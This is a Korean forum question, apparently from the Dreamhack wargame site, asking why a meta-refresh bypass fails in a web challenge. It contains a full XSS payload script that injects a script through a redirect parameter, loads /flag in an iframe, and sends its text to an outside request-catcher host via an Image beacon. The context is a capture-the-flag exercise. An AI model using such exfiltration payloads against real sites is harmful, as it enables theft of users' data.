대기중
메타 우회 방법

검증 과정에서 meta를 읽어오니 +=형태로 작성해봤는데 왜 막히는걸까요 ?
페이로드에 어떤 부분이 잘못되었고 어떤 식으로 풀어나가야할까요 ?

(async () => {
  const CHAL = "http://host8.dreamhack.games:14781";
  const injected =
    'redirect?url=' + encodeURIComponent(
      'https://x"><script>' +
        // 1) 검증 통과용: 기존 head를 "보존"하고 meta를 "추가"만 한다
        'd=document;' +
        'd.head.innerHTML=d.head.innerHTML+"<meta http-equiv=refresh content=\\"0; URL=http://localhost:5555/\\">";' +
        // 2) 런타임에 iframe(/flag) 생성 → onload에서 Image 비콘으로 유출 (괄호/중괄호 없이)
        'd.body.innerHTML="<iframe src=/flag onload=\\"i=new Image;i.src=https://ytpvkwq.request.dreamhack.games/d="+this.contentWindow.document.body.innerText+"\\"></iframe>";' +
      '</script>'
    );

  const r = await fetch(`${CHAL}/report`, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ payload: injected })
  });
  console.log("report:", r.status, await r.text());
})();
#web
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 0